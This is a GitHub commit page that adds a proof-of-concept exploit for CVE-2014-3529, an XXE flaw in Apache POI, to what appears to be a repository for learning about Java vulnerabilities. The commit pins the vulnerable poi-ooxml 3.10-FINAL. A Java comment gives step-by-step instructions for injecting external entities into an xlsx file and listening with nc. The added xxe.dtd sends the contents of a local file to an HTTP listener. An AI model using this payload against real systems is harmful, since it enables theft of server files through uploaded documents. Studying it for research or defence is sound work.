Skip to content

Commit 95ff048

Browse files
author
“threedr3am”
committed
feat:add apache-poi
1 parent 08602ce commit 95ff048

File tree

6 files changed

+70
-0
lines changed

6 files changed

+70
-0
lines changed

apache-poi/cve-2014-3529/pom.xml

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>apache-poi</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>cve-2014-3529</artifactId>
13+
14+
<dependencies>
15+
<!-- https://mvnrepository.com/artifact/org.apache.poi/poi-ooxml -->
16+
<dependency>
17+
<groupId>org.apache.poi</groupId>
18+
<artifactId>poi-ooxml</artifactId>
19+
<version>3.10-FINAL</version>
20+
</dependency>
21+
</dependencies>
22+
23+
</project>
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package com.threedr3am.bug.poi;
2+
3+
import java.io.IOException;
4+
import org.apache.poi.EncryptedDocumentException;
5+
import org.apache.poi.ss.usermodel.Sheet;
6+
import org.apache.poi.ss.usermodel.Workbook;
7+
import org.apache.poi.ss.usermodel.WorkbookFactory;
8+
9+
/**
10+
* 1. unzip test.xlsx
11+
* 2. vim [Content_Types].xml,line-2 insert ( <!DOCTYPE note [<!ENTITY % file SYSTEM "file:///tmp/flag"><!ENTITY % remote SYSTEM "http://127.0.0.1:23234/xxe.dtd">%remote;%all;]><root>&send;</root> )
12+
* 3. zip -r 0 test.xlsx ./*
13+
* 4. echo "threedr3am" > /tmp/flag
14+
* 5. nc -lvvp 23235
15+
* 6. cp xxe.dtd /tmp/poi/xxe.dtd & cd /tmp/poi/ & python -m SimpleHTTPServer 23234
16+
*
17+
* @author threedr3am
18+
*/
19+
public class CVE_2014_3529 {
20+
21+
public static void main(String[] args)
22+
throws IOException, EncryptedDocumentException, org.apache.poi.openxml4j.exceptions.InvalidFormatException {
23+
Workbook wb1 = WorkbookFactory.create(CVE_2014_3529.class.getClassLoader().getResourceAsStream("test.xlsx"));
24+
Sheet sheet = wb1.getSheetAt(0);
25+
System.out.println(sheet.getLastRowNum());
26+
}
27+
}
58.5 KB
Binary file not shown.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:23235?file=%file;' >">

apache-poi/pom.xml

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>learn-java-bug</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>apache-com.threedr3am.bug.poi</artifactId>
13+
<packaging>pom</packaging>
14+
<modules>
15+
<module>cve-2014-3529</module>
16+
</modules>
17+
18+
</project>

pom.xml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@
2525
<module>ShardingSphere-UI</module>
2626
<module>shiro</module>
2727
<module>nexus</module>
28+
<module>apache-poi</module>
2829
</modules>
2930

3031
<name>learn-java-bug</name>

0 commit comments

Comments
 (0)